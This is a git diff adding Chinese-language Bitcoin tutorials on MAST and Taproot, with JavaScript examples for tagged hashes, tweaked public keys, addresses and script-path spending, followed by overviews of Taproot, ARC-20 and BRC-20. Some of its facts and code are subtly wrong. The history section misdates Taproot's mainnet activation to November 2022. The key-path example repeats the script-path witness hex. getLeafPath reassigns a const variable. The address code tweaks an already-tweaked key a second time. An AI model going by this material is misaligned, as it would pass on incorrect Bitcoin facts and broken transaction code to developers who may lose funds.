+mast.addLeaf('Condition D');
+console.log('After adding Condition D:');
+mast.printTree();
+console.log('Root:', mast.getRoot());
+```
+
+### 解释
+
+- **hash(data)**: 计算给定数据的 SHA-256 哈希值。
+- **addLeaf(data)**: 添加叶子节点，添加后重建 Merkle 树。
+- **removeLeaf(data)**: 删除叶子节点，删除后重建 Merkle 树。
+- **buildTree()**: 根据当前叶子节点构建 Merkle 树。
+- **getNextLevel(level)**: 计算当前层次节点的哈希值以生成下一层节点。
+- **getRoot()**: 获取 Merkle 树的根节点。
+- **printTree()**: 打印整个 Merkle 树。
+
+### 注意事项
+
+1. **排序**: 每次构建树时，叶子节点都根据其哈希值进行字典序排序，以确保树的唯一性和确定性。
+2. **树结构**: `tree` 属性是一个数组，存储从叶子节点到根节点的所有层次。
+
+这个示例实现了基本的 MAST 功能，包括创建、插入和删除叶子节点。
+
+## Taproot中的应用
+
+![$$Q = P + t*G$$](https://aandds.com/blog/images/taproot_tweak.gif)
+如上图，在Taproot中需要在MAST中针对叶子结点、树结点和根结点分别引入TapLeaf、TapBranch和TapTweak去计算hash。
+
+### 代码示例
+
+```javascript
+const bitcoin = require('bitcoinjs-lib');
+const crypto = require('crypto');
+const ecc = require('tiny-secp256k1');
+const { BIP32Factory } = require('bip32');
+const bip32 = BIP32Factory(ecc);
+const { payments } = bitcoin;
+
+// 创建 Tagged Hash 函数
+function taggedHash(tag, data) {
+  const tagHash = crypto.createHash('sha256').update(tag).digest();
+  return crypto
+    .createHash('sha256')
+    .update(Buffer.concat([tagHash, tagHash, data]))
+    .digest();
+}
+
+// Taproot Tweak 函数
+function tapTweakPubkey(pubkey, h) {
+  const tweak = taggedHash('TapTweak', Buffer.concat([pubkey, h]));
+  const tweakedPubkey = Buffer.from(ecc.pointAddScalar(pubkey, tweak));
+  return { tweakedPubkey, tweak };
+}
+
+// TapLeaf 计算函数
+function tapLeaf(version, script) {
+  const leafVersion = Buffer.from([version]);
+  return taggedHash('TapLeaf', Buffer.concat([leafVersion, script]));
+}
+
+// TapBranch 计算函数
+function tapBranch(h1, h2) {
+  return taggedHash('TapBranch', Buffer.concat([h1, h2].sort(Buffer.compare)));
+}
+
+class MAST {
+  constructor() {
+    this.leaves = [];
+  }
+
+  // 添加叶子节点
+  addLeaf(script, version = 0xc0) {
+    const hashedLeaf = tapLeaf(version, script);
+    this.leaves.push(hashedLeaf);
+    this.leaves.sort(Buffer.compare); // 字典序排序
+  }
+
+  // 构建 Merkle 树并返回根节点
+  getMerkleRoot() {
+    if (this.leaves.length === 0) {
+      return Buffer.alloc(32, 0);
+    }
+    return this.buildTree(this.leaves);
+  }
+
+  // 递归构建 Merkle 树
+  buildTree(leaves) {
+    if (leaves.length === 1) {
+      return leaves[0];
+    }
+
+    const nextLevel = [];
+    for (let i = 0; i < leaves.length; i += 2) {
+      if (i + 1 < leaves.length) {
+        nextLevel.push(tapBranch(leaves[i], leaves[i + 1]));
+      } else {
+        nextLevel.push(leaves[i]); // 如果没有配对节点，直接移动到下一层
+      }
+    }
+
+    return this.buildTree(nextLevel);
+  }
+}
+
+// 示例用法
+const mast = new MAST();
+mast.addLeaf(Buffer.from('Condition A'));
+mast.addLeaf(Buffer.from('Condition B'));
+mast.addLeaf(Buffer.from('Condition C'));
+console.log('Initial MAST:');
+console.log(mast.leaves.map((leaf) => leaf.toString('hex')));
+console.log('MAST Root:', mast.getMerkleRoot().toString('hex'));
+```
+
+### 代码说明
+
+1. **taggedHash(tag, data)**: 创建 Tagged Hash 函数，用于 Taproot Tweak 和 TapLeaf/TapBranch。
+2. **tapTweakPubkey(pubkey, h)**: 使用 Tagged Hash 和内部公钥计算 Tweaked 公钥。
+3. **tapLeaf(version, script)**: 计算 TapLeaf 的哈希值。
+4. **tapBranch(h1, h2)**: 计算两个子树的 TapBranch 哈希值。
+5. **MAST 类**:
+   - `addLeaf(script, version)`: 添加叶子节点并对其哈希值进行字典序排序。
+   - `getMerkleRoot()`: 构建 Merkle 树并返回根节点。
+   - `buildTree(leaves)`: 递归构建 Merkle 树。
+
+### Taproot地址计算
+
+生成Taproot地址，实际上是对Tweaked 公钥的X坐标编码为 Bech32m 格式
+**流程**
+
+- 初始化 MAST 并添加叶子节点。
+- 构建 Merkle 树并计算根节点。
+- 生成内部公钥并计算 Tweaked 公钥。
+- 生成并输出 Taproot 地址。
+
+```js
+// 生成内部公钥
+const keyPair = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPair.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 生成 Taproot 地址
+const taprootAddress = payments.p2tr({
+  internalPubkey: tweakedPubkey.slice(1, 33),
+  network: bitcoin.networks.bitcoin,
+}).address;
+
+console.log('Taproot Address:', taprootAddress);
+```
+
+### 锁定脚本(scriptPubKey)
+
+对于隔离见证 Output，其 scriptPubKey 为 **OP_n tweaked-public-key**
+
+##### OP_n
+
+OP_n 表示隔离见证版本，版本 0 隔离见证 Output 的 scriptPubKey 的首个字节是 0x00，而版本 1 隔离见证 Output 的 scriptPubKey 的首个字节是 0x51
+
+```js
+OP_0: 0x00  // segwitV0
+OP_1: 0x51  // segwitV1，即Taproot
+OP_2: 0x52
+...
+
+See: https://github.com/bitcoin/bitcoin/blob/v22.0/src/script/script.h#L68
+```
+
+#### tweaked-public-key
+
+tweaked-public-key的计算比较复杂，有internal public key和script tree的Merkle Root组成，然后再进行Bech32m编码就能得到Taproot地址
+
+##### script path
+
+script path是Taproot中比较灵活、同时比较复杂的一种方式  
+tweaked-public-key的计算比较如上图：$$Q = P + t*G$$
+
+#### key path
+
+key path不需要 Script Path，则可以去掉 Script 相关的哈希
+即：$$Q = P + t*G = P + TaggedHash('TapTweak', P)G$$
+钱包中的taproot地址就是基于**用户公钥做P**代入上方公式推导得到
+
+#### **代码实现**
+
+```js
+const mast = new MAST();
+mast.addLeaf(Buffer.from("OP_DUP OP_HASH160 <Alice's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG"));
+mast.addLeaf(Buffer.from("OP_DUP OP_HASH160 <Bob's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG"));
+mast.addLeaf(Buffer.from("OP_2 <Alice's pubkey> <Bob's pubkey> OP_2 OP_CHECKMULTISIG"));
+
+// 生成内部公钥
+const keyPair = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPair.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 获取 Tweaked 公钥的 X 坐标
+const tweakedPubkeyX = tweakedPubkey.slice(1, 33);
+
+// 生成锁定脚本（P2TR 地址的锁定脚本）
+const lockingScript = bitcoin.script.compile([bitcoin.opcodes.OP_1, tweakedPubkeyX]);
+
+console.log('Locking Script:', lockingScript.toString('hex'));
+```
+
+### 解锁脚本（witnessScript）
+
+Taproot属于Segwit v1版本，其相关解锁脚本放在Witness位置
+如果在花费 P2TR UTXO 时，Witness 只包含一个元素，则是 P2TR (Key Path)，如果在花费 P2TR UTXO 时，Witness 至少包含两个元素，则是 P2TR (Script Path)。在花费一个 P2TR UTXO 时，是通过 Witness 中元素的个数来决定使用 Key Path（Witness 元素个数为 1）还是 Script Path（Witness 元素个数大于等于 2）。  
+在 Taproot 中，解锁script path可以使用 Taproot Tree 的任意路径之一来满足条件。
+下面代码以解锁一个script tree中的2-2多签叶子结点C为例：
+
+#### **代码实现**
+
+```js
+class MAST {
+  // ...
+  // 获取叶子节点的路径
+  getLeafPath(leaf) {
+    const index = this.leaves.indexOf(leaf);
+    if (index === -1) return null;
+
+    let path = [];
+    let level = this.leaves.slice();
+
+    while (level.length > 1) {
+      const nextLevel = [];
+      for (let i = 0; i < level.length; i += 2) {
+        if (i + 1 < level.length) {
+          nextLevel.push(tapBranch(level[i], level[i + 1]));
+        } else {
+          nextLevel.push(level[i]);
+        }
+        if (i === index || i + 1 === index) {
+          path.push(i === index ? level[i + 1] : level[i]);
+          index = Math.floor(i / 2);
+        }
+      }
+      level = nextLevel;
+    }
+    return path;
+  }
+}
+
+const mast = new MAST();
+const scriptA = Buffer.from("OP_DUP OP_HASH160 <Alice's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG");
+const scriptB = Buffer.from("OP_DUP OP_HASH160 <Bob's pubkey hash> OP_EQUALVERIFY OP_CHECKSIG");
+const scriptC = Buffer.from("OP_2 <Alice's pubkey> <Bob's pubkey> OP_2 OP_CHECKMULTISIG");
+mast.addLeaf(scriptA);
+mast.addLeaf(scriptB);
+mast.addLeaf(scriptC);
+
+// 生成内部公钥
+const keyPairAlice = bip32.fromSeed(crypto.randomBytes(32));
+const keyPairBob = bip32.fromSeed(crypto.randomBytes(32));
+const internalPubkey = keyPairAlice.publicKey.slice(1, 33); // 移除 0x02 或 0x03 前缀
+
+// 计算 Taproot 公钥
+const mastRoot = mast.getMerkleRoot();
+const { tweakedPubkey } = tapTweakPubkey(internalPubkey, mastRoot);
+
+// 获取 Tweaked 公钥的 X 坐标
+const tweakedPubkeyX = tweakedPubkey.slice(1, 33);
+
+// 构建交易以花费 Taproot 输出
+const txb = new bitcoin.TransactionBuilder(bitcoin.networks.bitcoin);
+const value = 100000; // 假设输出金额为 100000 satoshis
+const inputIndex = 0; // 输入索引
+const prevTx = bitcoin.Transaction.fromHex('<previous transaction hex>'); // 上一个交易的对象
+const prevTxId = prevTx.getId(); // 上一个交易的 ID
+const outputIndex = 0; // 上一个交易输出的索引
+
+// 添加输入和输出
+txb.addInput(prevTxId, outputIndex);
+txb.addOutput('<destination address>', value - 1000); // 减去交易费用
+
+// 假设要花费 scriptC
+const leafToSpend = tapLeaf(0xc0, scriptC);
+const leafPath = mast.getLeafPath(leafToSpend);
+
+// 构建 controlBlock
+const controlBlock = Buffer.concat([
+  Buffer.from([0xc0]), // 脚本版本
+  internalPubkey,
+  ...leafPath,
+]);
+
+// 签名交易
+const hashType = bitcoin.Transaction.SIGHASH_ALL;
+const signatureHash = txb.buildIncomplete().hashForWitnessV1(inputIndex, [lockingScript], [value], hashType);
+const signatureAlice = bitcoin.script.signature.encode(keyPairAlice.sign(signatureHash), hashType);
+const signatureBob = bitcoin.script.signature.encode(keyPairBob.sign(signatureHash), hashType);
+
+// 构建解锁脚本（witness script）
+const witnessScript = [signatureAlice, signatureBob, scriptC, controlBlock];
+
+// 设置 witness
+txb.setWitness(inputIndex, witnessScript);
+
+// 构建并输出交易
+const tx = txb.build();
+console.log('Transaction:', tx.toHex());
+```
+
+**构建和签名交易:**
+
+- 创建一个交易以花费 Taproot 输出。
+- 添加输入和输出。
+- 获取要花费的脚本（例如 scriptC）的 TapLeaf 哈希值和 Merkle 路径。
+- 构建 controlBlock，包含脚本版本、内部公钥和 Merkle 路径。
+- 使用 Alice 和 Bob 的密钥分别对交易进行签名。
+- 构建包含两个签名和其他信息的解锁脚本（witness script）。
+- 设置交易的 witness。
+
+#### script path
+
+[905ecdf95a84804b192f4dc221cfed4d77959b81ed66013a7e41a6e61e7ed530](https://blockchain.info/rawtx/905ecdf95a84804b192f4dc221cfed4d77959b81ed66013a7e41a6e61e7ed530)是花费 P2TR (Script Path) 的例子（它是一个 2-of-2 多签脚本），它的 Witness 为
+
+```js
+044123b1d4ff27b16af4b0fcb9672df671701a1a7f5a6bb7352b051f461edbc614aa6068b3e5313a174f90f3d95dc4e06f69bebd9cf5a3098fde034b01e69e8e788901400fd4a0d3f36a1f1074cb15838a48f572dc18d412d0f0f0fc1eeda9fa4820c942abb77e4d1a3c2b99ccf4ad29d9189e6e04a017fe611748464449f681bc38cf394420febe583fa77e49089f89b78fa8c116710715d6e40cc5f5a075ef1681550dd3c4ad20d0fa46cb883e940ac3dc5421f05b03859972639f51ed2eccbf3dc5a62e2e1b15ac41c02e44c9e47eaeb4bb313adecd11012dfad435cd72ce71f525329f24d75c5b9432774e148e9209baf3f1656a46986d5f38ddf4e20912c6ac28f48d6bf747469fb1
+```
+
+根据编码我们得知有4个元素
+
+```js
+0070: .. .. .. .. .. .. 04 .. .. .. .. .. .. .. .. .. vin0 Witness Count: 4
+0070: .. .. .. .. .. .. .. 41 23 b1 d4 ff 27 b1 6a f4 vin0 Witness 0 Length:65 (0x41)
+0080: b0 fc b9 67 2d f6 71 70 1a 1a 7f 5a 6b b7 35 2b
+0090: 05 1f 46 1e db c6 14 aa 60 68 b3 e5 31 3a 17 4f
+00a0: 90 f3 d9 5d c4 e0 6f 69 be bd 9c f5 a3 09 8f de
+00b0: 03 4b 01 e6 9e 8e 78 89 01 .. .. .. .. .. .. ..
+00b0: .. .. .. .. .. .. .. .. .. 40 0f d4 a0 d3 f3 6a vin0 Witness 1 Length:64 (0x40)
+00c0: 1f 10 74 cb 15 83 8a 48 f5 72 dc 18 d4 12 d0 f0
+00d0: f0 fc 1e ed a9 fa 48 20 c9 42 ab b7 7e 4d 1a 3c
+00e0: 2b 99 cc f4 ad 29 d9 18 9e 6e 04 a0 17 fe 61 17
+00f0: 48 46 44 49 f6 81 bc 38 cf 39 .. .. .. .. .. ..
+00f0: .. .. .. .. .. .. .. .. .. .. 44 20 fe be 58 3f vin0 Witness 2 Length:68 (0x44)
+0100: a7 7e 49 08 9f 89 b7 8f a8 c1 16 71 07 15 d6 e4
+0110: 0c c5 f5 a0 75 ef 16 81 55 0d d3 c4 ad 20 d0 fa
+0120: 46 cb 88 3e 94 0a c3 dc 54 21 f0 5b 03 85 99 72
+0130: 63 9f 51 ed 2e cc bf 3d c5 a6 2e 2e 1b 15 ac ..
+0130: .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. 41 vin0 Witness 3 Length:65 (0x41)
+0140: c0 2e 44 c9 e4 7e ae b4 bb 31 3a de cd 11 01 2d
+0150: fa d4 35 cd 72 ce 71 f5 25 32 9f 24 d7 5c 5b 94
+0160: 32 77 4e 14 8e 92 09 ba f3 f1 65 6a 46 98 6d 5f
+0170: 38 dd f4 e2 09 12 c6 ac 28 f4 8d 6b f7 47 46 9f
+0180: b1
+```
+
+#### key path
+
+[dbef583962e13e365a2069d451937a6de3c2a86149dc6a4ac0d84ab450509c91](https://blockchain.info/rawtx/dbef583962e13e365a2069d451937a6de3c2a86149dc6a4ac0d84ab450509c91)是花费 P2TR (Key Path) 的例子，它的 witness 为：
+
+```js
+044123b1d4ff27b16af4b0fcb9672df671701a1a7f5a6bb7352b051f461edbc614aa6068b3e5313a174f90f3d95dc4e06f69bebd9cf5a3098fde034b01e69e8e788901400fd4a0d3f36a1f1074cb15838a48f572dc18d412d0f0f0fc1eeda9fa4820c942abb77e4d1a3c2b99ccf4ad29d9189e6e04a017fe611748464449f681bc38cf394420febe583fa77e49089f89b78fa8c116710715d6e40cc5f5a075ef1681550dd3c4ad20d0fa46cb883e940ac3dc5421f05b03859972639f51ed2eccbf3dc5a62e2e1b15ac41c02e44c9e47eaeb4bb313adecd11012dfad435cd72ce71f525329f24d75c5b9432774e148e9209baf3f1656a46986d5f38ddf4e20912c6ac28f48d6bf747469fb1
+```
+
+```js
+0141e6e1fe41524e65e3040bc3d080a136345c2c806eb7f336dd6a7a79e9054b0d1fc6a8d836667ef6e9f2188cd1270ab28e5e0eb642eac89f2ec50a32ca54aaf9d601
+
+01 .. .. .. .. .. .. .. .. .. .. .. .. .. .. vin0 Witness Count: 1
+.. 41 .. .. .. .. .. .. .. .. .. .. .. .. .. vin0 Witness 0 Length:65, schnorr_sig (64 bytes) + sig_hash (1 bytes)
+.. .. e6 e1 fe 41 52 4e 65 e3 04 0b c3 d0 80 schnorr_sig
+a1 36 34 5c 2c 80 6e b7 f3 36 dd 6a 7a 79 e9
+05 4b 0d 1f c6 a8 d8 36 66 7e f6 e9 f2 18 8c
+d1 27 0a b2 8e 5e 0e b6 42 ea c8 9f 2e c5 0a
+32 ca 54 aa f9 d6
+.. .. .. .. .. .. 01                                     sig_hash: SIGHASH_ALL (0x01)
+```
diff --git a/btc/Advanced/Taproot/README.md b/btc/Advanced/Taproot/README.md
new file mode 100644
index 000000000..8c2d09f77
--- /dev/null
+++ b/btc/Advanced/Taproot/README.md
@@ -0,0 +1,72 @@
+### Taproot的详细历史和特点
+
+#### 起源与发展
+
+1. **提案的提出**：
+   - Taproot的设计始于比特币改进提案 [BIP 340](https://github.com/bitcoin/bips/blob/master/bip-0340.mediawiki)、[BIP 341](https://github.com/bitcoin/bips/blob/master/bip-0341.mediawiki)和[BIP 342](https://github.com/bitcoin/bips/blob/master/bip-0342.mediawiki)。BIP 340介绍了Schnorr签名算法在比特币中的应用，BIP 341提出了Taproot的概念，而BIP 342则探讨了Taproot和Schnorr的集成。
+
+2. **设计目标**：
+   - Taproot的主要设计目标包括提高比特币网络的隐私性、可扩展性和支持更复杂的智能合约。通过引入Schnorr签名和Merkle树结构，Taproot旨在优化多重签名交易的外观，并将其与常规单签名交易统一化，从而提升隐私保护。
+
+#### 技术特点
+
+1. **Schnorr签名和签名聚合**：
+   - Taproot引入了Schnorr签名算法，这种签名算法相较于比特币当前使用的ECDSA签名更高效，并支持多个输入的签名聚合。这意味着多重签名交易的签名可以被聚合成一个单一的签名，显著减小了交易大小，降低了交易费用，并提高了链上交易的隐私性。
+
+2. **Merkle树结构**：
+   - Taproot利用Merkle树结构，将多种不同的比特币脚本路径合并成一个单一的“扩展公钥”。这使得在链上查看的所有交易看起来都像是来自一个单一的地址，从而隐藏了实际执行的交易路径和使用的脚本类型，进一步提升了隐私性。
+
+3. **智能合约支持**：
+   - Taproot通过其灵活的脚本能力，支持更复杂和高级的智能合约。这些合约可以以更简洁和隐私的方式实现，允许比特币用户创建更复杂的交易逻辑和条件，如多重签名、时间锁定、条件支付等。
+
+#### 部署和实施
+
+1. **社区支持和开发**：
+   - Taproot的开发经历了长时间的讨论和审查，由比特币社区内的核心开发者、研究人员和网络参与者共同推动。通过开放的讨论和测试网络（如Bitcoin Testnet），确保了升级的安全性和兼容性。
+
+2. **激活过程**：
+   - Taproot于2021年11月通过比特币矿工社区的投票得到了广泛支持和认可。随后，升级计划在2022年11月在比特币主网上正式生效，这意味着所有比特币节点都支持Taproot升级，并能够开始使用新的Taproot功能。
+
+### Segwit版本区别
+
+#### Segwit 版本0（P2WPKH和P2WSH）
+
+##### 特点：
+1. **P2WPKH（Pay to Witness Public Key Hash）**：这种类型的地址通常以`bc1q`开头。
+2. **P2WSH（Pay to Witness Script Hash）**：这种类型的地址通常以`bc1q`开头，用于更复杂的多重签名（multisig）脚本。
+3. **隔离见证**：交易的见证数据被隔离到一个独立的区块部分，减小了交易数据的大小，从而提高了区块的容量。
+4. **交易格式**：新的交易格式，包含一个见证字段，用于存储签名等见证数据。
+5. **可延展性问题的解决**：通过隔离见证，解决了交易的可延展性问题，使得交易ID在没有更改其内容的情况下不能被篡改。
+
+#### Segwit 版本1（Taproot）
+
+##### 特点：
+1. **Taproot**：这是Segwit版本1的主要改进，它是一个更复杂的地址方案，通常以`bc1p`开头。
+2. **Schnorr签名**：引入了Schnorr签名算法，这种算法比原来的ECDSA签名更高效和安全，可以实现批量验证签名，从而进一步提高效率。
+3. **Mast（Merkelized Abstract Syntax Tree）**：允许更复杂的智能合约和多重签名方案，只有在执行时需要的部分才会被暴露，增强了隐私性和效率。
+4. **更高的灵活性和隐私**：与传统的多重签名方案相比，Taproot允许在不暴露具体条件的情况下进行复杂的条件支付，大大增强了隐私性。
+5. **兼容性**：保持与Segwit版本0的兼容性，新的功能和特性在使用时才会生效。
+
+#### 功能对比
+
+| 特点                           | Segwit 版本0                       | Segwit 版本1 (Taproot)          |
+|-------------------------------|------------------------------------|---------------------------------|
+| **地址格式**                   | `bc1q` 开头                        | `bc1p` 开头                     |
+| **主要改进**                   | 隔离见证（Segregated Witness）      | Taproot                         |
+| **签名算法**                   | ECDSA 签名                         | Schnorr 签名                    |
+| **交易格式**                   | 包含见证字段，分离见证数据          | 与版本0兼容，增加了新的见证字段 |
+| **隐私和效率**                 | 提高区块容量，解决交易可延展性问题   | 进一步提高隐私性和效率          |
+| **智能合约功能**               | 基础单签名和简单多重签名方案        | 支持更复杂的智能合约和条件支付   |
+| **Mast 支持**                  | 不支持                              | 支持（Merkelized Abstract Syntax Tree） |
+| **批量签名验证**               | 不支持                              | 支持（Schnorr签名的特性）        |
+| **兼容性**                     | 不适用于Taproot                    | 兼容Segwit版本0                 |
+
+#### 锁定脚本和解锁脚本的对比
+| Type                    | scriptPubKey（锁定时使用）                     | Witness（花费时使用）                         | 说明                                      |
+|-------------------------|------------------------------------------------|----------------------------------------------|-----------------------------------------|
+| **P2WPKH**              | 0x0014{20-byte-key-hash}                       | \<signature\> \<pubkey\>                    | 支付到单一公钥哈希，常用于单签名交易。       |
+| **P2WSH**               | 0x0020{32-byte-hash}                           | \<script\> \<witness\>                      | 支付到复杂脚本哈希，适用于多重签名或其他复杂脚本。|
+| **P2TR (Key Path)**     | 0x5120{32-byte-tweaked-public-key}             | \<schnorr-signature\>                       | 使用Taproot支付到单一公钥，简化的单签名。       |
+| **P2TR (Script Path)**  | 0x5120{32-byte-tweaked-public-key}             | \<schnorr-signature\> \<script\> \<control-block\> | 使用Taproot支付到复杂脚本路径，支持复杂的条件支付。|
+
+Taproot的地址计算、锁定脚本和解锁脚本详见[MAST](./MAST.md)
\ No newline at end of file
diff --git a/btc/Application/ARC-20/README.md b/btc/Application/ARC-20/README.md
new file mode 100644
index 000000000..9efa14408
--- /dev/null
+++ b/btc/Application/ARC-20/README.md
@@ -0,0 +1,75 @@
+# ARC-20 简介
+## Atomical
+Atomicals 协议是一种简单而灵活的协议，用于为比特币等未花费的交易输出 (UTXO) 区块链铸造、传输和更新数字对象 （传统上称为不可替代代币）。原子（或“原子”）是一种组织数字对象的创建、传输和更新的方式——它本质上是根据一些简单规则定义的数字所有权链。  
+### Atomicals 与其他流行的不可替代代币 (NFT) 协议进行比较。  
+| 功能                 | Atomicals                                      | Ordinals                                         | Ethereum ERC721                             |
+|---------------------|------------------------------------------------|--------------------------------------------------|--------------------------------------------|
+| 价值主张              | 数字对象、数字工件、数字收藏品                     | 数字对象、数字工件、数字收藏品                      | 数字对象、数字工件、数字收藏品                |
+| 区块链                | 比特币及所有 UTXO 区块链                          | 比特币及所有 UTXO 区块链                           | 兼容以太坊 EVM 的区块链                       |
+| 铸币技术              | 比特币：提交和显示，使用 "atom" 封套               | 比特币：提交和显示，使用 "ord" 封套                 | 资金和部署合约账户                           |
+| 数据存储              | 在铸造时存储一个或多个文件                         | 在铸造时仅存储一个文件                             | 未定义                                      |
+| 动态状态              | 定义和更新基本和任何复杂文件类型的应用状态         | 未定义 - 可以基于应用特定来定义                    | 未定义 - 可以预先编程                        |
+| 验证                  | 目前通过索引服务 "electrumx" 验证 - 理论上可以客户端全部验证 | 目前通过索引服务 "ord" 验证 - 理论上可以客户端全部验证 | 信任以太坊 EVM 节点或实际上信任 Metamask 或 Infura |
+| 索引                  | 目前依赖于 elecrumx atomicals 索引器 (Python) 进行追踪序号系统 | 目前依赖于 ord 索引器 (Rust) 进行追踪序号系统        | 使用原生以太坊 EVM 节点或实际上信任 Metamask 或 Infura |
+| 地址格式              | 铸造和更新需要 P2TR (Taproot) 地址                | 所有使用如铸造和转移都需要 P2TR (Taproot) 地址    | 使用原生以太坊账户地址                        |
+| 集合                  | 首次的 "容器" NFT 用于更新集合，可以永久封闭        | 未定义但正在进展中的父子关系                       | 定义为单独的 ERC                            |
+| 原子交换              | 部分签名比特币交易 (PBSTs)                        | 部分签名比特币交易 (PBSTs)                        | 定义为单独的 ERC                            |
+| 可替代代币            | 首次 "ARC20" 使用 Satoshi 作为计量单位。去中心化和直接铸造模式可用。内置 Ticker 名称服务 | 基本协议中未提供。"BRC20" 通过铸造在铭文中创建 JSON 协议来定义去中心化铸造规则和 Ticker 名称。 | 定义为 ERC20 类型代币                         |
+| 域名服务              | Realms 作为首次的 NFT，代表域名和数字身份。一种新的无域名后缀的命名标准，以加号 "+" 开头，如 +username | 基本协议中未提供。".names" 和 ".sats" 协议作为铭文中的 JSON 协议存在，定义声明和更新规则。 | 现有服务如 ENS 和 Unstoppable Domains      |
+
+
+
+## ARC-20
+Atomicals 协议解决了如何在比特币区块链上表示任意可替代代币资产的长期存在的问题。ARC-20 可替代代币标准最终为比特币带来了彩色硬币，并使用每个 Satoshi 来代表已部署代币的所有权单位。这意味着每个单位的代币永远由 1 聪支持。它充当一种支撑代币价值的“数字黄金含量”。这也意味着根据定义，每个代币的价值永远不会低于 1 聪。
+
+ARC-20 使用原生 Satoshi 单位来表示每个代币，它们可以像普通比特币一样拆分和组合。ARC-20 代币可以由任何人铸造，并转移到任何比特币地址类型，并可与支持 UTXO 选择的钱包配合使用，例如 Sparrow Wallet （外部链接）。有两种部署模式：直接部署和分散部署。下面详细了解 ARC-20 的不同铸造方式及其优点。
+![dune](./images/atomical.png)
+据 Dune 链上数据统计，截止2023 年 3 月 6 日, 巅峰期 Atomical 交易占比超过铭文市场交易的六成之多，是继Ordinal之外BTC生态采用度最高的协议。
+
+## 协议详情
+Atomicals 协议使用原子交换的方案进行 Atomical 的铸造，并在交易输出环节融入了 Commit-Reveal 方案，以此来确保用户铸造 Atomical 过程的不可篡改性和隐私性。此外，它还在铸造过程中添加了唯一标识符来为 Atomical 的安全性和可追溯性提供保障。
+
+### Deploy
+去中心化部署是通过ticker、每铸币奖励、允许的总铸币数、起始块高度和元数据来初始化的
+
+| 参数名        | 描述                                                   |
+|-------------|------------------------------------------------------|
+| tick        | 全局唯一的代币名称（ticker name）                              |
+| per_mint_amt| 每次成功铸造时授予的代币数量。以 Satoshi 为单位。                     |
+| mint_count  | 在额度耗尽之前允许的铸造总次数，达到后将成为“完全铸造”状态。             |
+| start_height| 可以开始铸造的起始区块高度。可以设置为 0 或任何未来的区块高度。              |
+| image       | 代表代币的图像图标。文件名将出现在代币中。在引入文件时使用 "image.jpg" 或 "image.png" 并请谨慎重命名。|
+
+
+### Mint
+```js
+npm run cli mint-dft <tick>
+
+Optional flags:
+--satsbyte=<number>
+```
+去中心化的铸币功能mint-dft允许从start_height区块高度开始铸造tick
+
+所需参数：
+
+tick：全全局唯一的代币名称（ticker name）
+
+可选标志：
+
+--satsbyte=<数字>
+
+设置交易的每字节聪并覆盖默认值，用来加速
+
+### Transform
+
+ARC20 代币传输的正常操作是所有输入值的总和应完全或干净地分配到可用输出中。如果没有足够的输出值，或者后续输出之一会导致过度分配（即：代币单位的通货膨胀），则剩余余额将被永久销毁或烧毁。
+
+#### 完全分配
+使用 FIFO 规则将所有输入干净地分配给输出。
+原子 1932、7920、0542 是不可替代代币 (NFT)，按先进先出顺序分配，同时跳过不可花费的输出 (OP_RETURN)。第一个输入 NFT 从输出 0 开始分配，然后每个后续 NFT 输入分配给下一个可用输出。同一 UTXO 输入中的多个 Atomical 按atomical_id 排序。由于“1932”在“7920”之前，因此它排在第一位。
+![alt text](./images/transfer1.png)
+
+#### 未完全分配
+在无法完全（或“干净”）分配输出的情况下，算法会尝试从输出 0 开始分配所有 ARC20 令牌，无论是否已分配另一个 ARC20。做出这一决定是为了在开发人员或钱包意外未能跟踪多个输入 ARC20 的情况下给予宽大处理 - 换句话说，将“尽最大努力”尝试进行补偿和分配。
+原子 1932、7920、0542 是不可替代代币 (NFT)，按先进先出顺序分配，同时跳过不可花费的输出 (OP_RETURN)。如果它们无法“干净地分配”，如上面的示例中，第 5 个输出有 700 个单位（这对于 Atomical 0542 的 620 值来说太多了），则算法默认为“尽力而为”，从输出开始分配所有 ARC20 0。
+![alt text](./images/transfer2.png)
\ No newline at end of file
diff --git a/btc/Application/ARC-20/images/atomical.png b/btc/Application/ARC-20/images/atomical.png
new file mode 100644
index 000000000..2386fc910
Binary files /dev/null and b/btc/Application/ARC-20/images/atomical.png differ
diff --git a/btc/Application/ARC-20/images/transfer1.png b/btc/Application/ARC-20/images/transfer1.png
new file mode 100644
index 000000000..63d8da6c2
Binary files /dev/null and b/btc/Application/ARC-20/images/transfer1.png differ
diff --git a/btc/Application/ARC-20/images/transfer2.png b/btc/Application/ARC-20/images/transfer2.png
new file mode 100644
index 000000000..7702330b8
Binary files /dev/null and b/btc/Application/ARC-20/images/transfer2.png differ
diff --git a/btc/Application/BRC-20/README.md b/btc/Application/BRC-20/README.md
new file mode 100644
index 000000000..b5aa9e7ad
--- /dev/null
+++ b/btc/Application/BRC-20/README.md
@@ -0,0 +1,43 @@
+# BRC-20 简介
+## Ordinals
+Ordinals是Satoshi比特币的最小单位，同下文聪）的一种编号方案，允许跟踪和传输单个聪。这些数字称为序数。聪按照开采的顺序进行编号，并以先进先出的方式从交易输入转移到交易输出。编号方案和转移方案都依赖于 order，编号方案取决于开采聪的顺序，转移方案取决于交易输入和输出的顺序。Ordinals协议允许在比特币的单个聪上“铸造”或附加数据（称为铭文），这意味着每个聪可以成为一个独特的、非同质化的资产。同时基于聪上携带的铭文我们可以发行同质化资产和非同质资产类似于以太坊上的ERC20和NFT，而 BRC-20 就是 Ordinals 协议知名度最高的资产发行方案。
+
+## BRC-20
+2023 年 3 月 11 日，domo在Twitter上发起了一项实验，该实验基于Ordinal协议，并定义了一种新的Token标准：“BRC-20”。这个实验性的协议专注于在比特币网络上资产的铸造和转移，意外地打开了潘多拉魔盒，激发了人们多年来对于在比特币网络上发行资产的强烈兴趣。  
+![dune](./images/dune.jpg)
